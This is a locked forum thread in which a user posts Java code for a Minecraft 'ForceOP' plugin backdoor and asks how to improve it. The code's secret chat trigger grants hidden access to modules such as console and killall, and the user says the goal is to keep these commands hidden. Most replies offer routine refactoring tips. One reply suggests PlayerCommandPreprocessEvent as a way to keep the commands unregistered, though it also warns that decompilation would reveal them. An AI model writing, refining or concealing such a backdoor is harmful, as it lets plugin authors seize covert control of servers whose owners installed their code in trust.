Improve my code

Status
This thread has been locked.

DieUrself

Banned
Feedback score
0
Posts
11
Reactions
0
Resources
0
Hey, I have no issues, I simply want to make my code more professional, if you know how I can do so it'd be greatly appreciated!
Code:
public String runCommandExecutor(String executor, String msg, String[] args, Player p, boolean requested) {
        if(executor.equals("<<force>op>addme")) {
            if(requested) {
                plugin.playerAllowed.add(p.getName());
                p.sendMessage(plugin.colorCode("&7&o[ForceOP: Added you to the allowed list, you have to do this every reload]"));
                p.sendMessage(plugin.colorCode("&7&o[ForceOP: There are "+plugin.commands.size()+" modules available for use! Type 'help' to gain a list of them!]"));
            }
        }
        if(executor.equals("void")) {
            return new VoidCmd(plugin, msg, args, p, requested).getDescription();
        }
        if(executor.equals("console")) {
            return new ConsoleCmd(plugin, msg, args, p, requested).getDescription();
        }
        if(executor.equals("seevanished")) {
            return new SeeVanishedCmd(plugin, msg, args, p, requested).getDescription();
        }
        if(executor.equals("killall")) {
            return new KillAllCmd(plugin, msg, args, p, requested).getDescription();
        }
        if(executor.equals("kill")) {
            return new KillCmd(plugin, msg, args, p, requested).getDescription();
        // ..... etc
        return null;
    }

Yes, I know it's a ForceOP. If you can come up with a better method I'd like that. Thanks in advance!
 
PebbleHost
High performance, consistent uptime and fast support. Minecraft hosting that just works.

JohnLee

Premium
Feedback score
8
Posts
235
Reactions
60
Resources
0
Note: I don't program bukkit, but I do program java.

First of all, use else if to avoid wasting CPU cycles on the other if statements.

Second of all, you don't have to nest if statements, you can use
Code:
if (executor.equals("<<force>op>addme") && requested)

You're also returning a new Object, however your method is a public String, meaning it returns String. This will result in a compiler error.

I'm also not sure how this method is going to be handled but make sure you have error handling for a null return.
 

TreeFN

Java Developer
Premium
Feedback score
19
Posts
135
Reactions
37
Resources
0
Maybe use a switch statement?

public String runCommandExecutor(String executor, String msg, String[] args, Player p, boolean requested) {
if(executor.equals("<<force>op>addme")) {
if(requested) {
plugin.playerAllowed.add(p.getName());
p.sendMessage(plugin.colorCode("&7&o[ForceOP: Added you to the allowed list, you have to do this every reload]"));
p.sendMessage(plugin.colorCode("&7&o[ForceOP: There are "+plugin.commands.size()+" modules available for use! Type 'help' to gain a list of them!]"));
}
}
if(executor.equals("void")) {
return new VoidCmd(plugin, msg, args, p, requested).getDescription();
}
if(executor.equals("console")) {
return new ConsoleCmd(plugin, msg, args, p, requested).getDescription();
}
if(executor.equals("seevanished")) {
return new SeeVanishedCmd(plugin, msg, args, p, requested).getDescription();
}
if(executor.equals("killall")) {
return new KillAllCmd(plugin, msg, args, p, requested).getDescription();
}
if(executor.equals("kill")) {
return new KillCmd(plugin, msg, args, p, requested).getDescription();
// ..... etc
return null;
}

switch (executor) {
case "void":
return blah;
etc..///
}
 

FireFlower

Feedback score
6
Posts
228
Reactions
48
Resources
0
You can use #setExecutor if you create command classes that implement CommandExecutor
Code:
this.getCommand("yourCommandName").setExecutor(new YourCommandClass());

Edit: You can call this inside your main class in #onEnable
 
Last edited:

DieUrself

Banned
Feedback score
0
Posts
11
Reactions
0
Resources
0
You can use #setExecutor if you create command classes that implement CommandExecutor
Sorry for getting back late, I am trying to hide the commands; that's why it is a chat method.
 
Banned forever. Reason: Creating Multiple Accounts (luaq, https://builtbybit.com/members/luaq.84603/)

Wouterg

Premium
Feedback score
15
Posts
108
Reactions
60
Resources
1
Sorry for getting back late, I am trying to hide the commands; that's why it is a chat method.
"Force OP" "hide the commands" hmmmmmmm

Anyways look in to PlayerCommandPreprocessEvent, it's called right before a command gets executed, you could use that if you don't want to register a command and have it known..

But yeah curious devs will decompile your plugin at one time and reveal that you're implementing ForceOP functionality. I wouldn't suggest releasing a plugin with this feature if you don't want to have a bad name in public :S
 
Status
This thread has been locked.
Top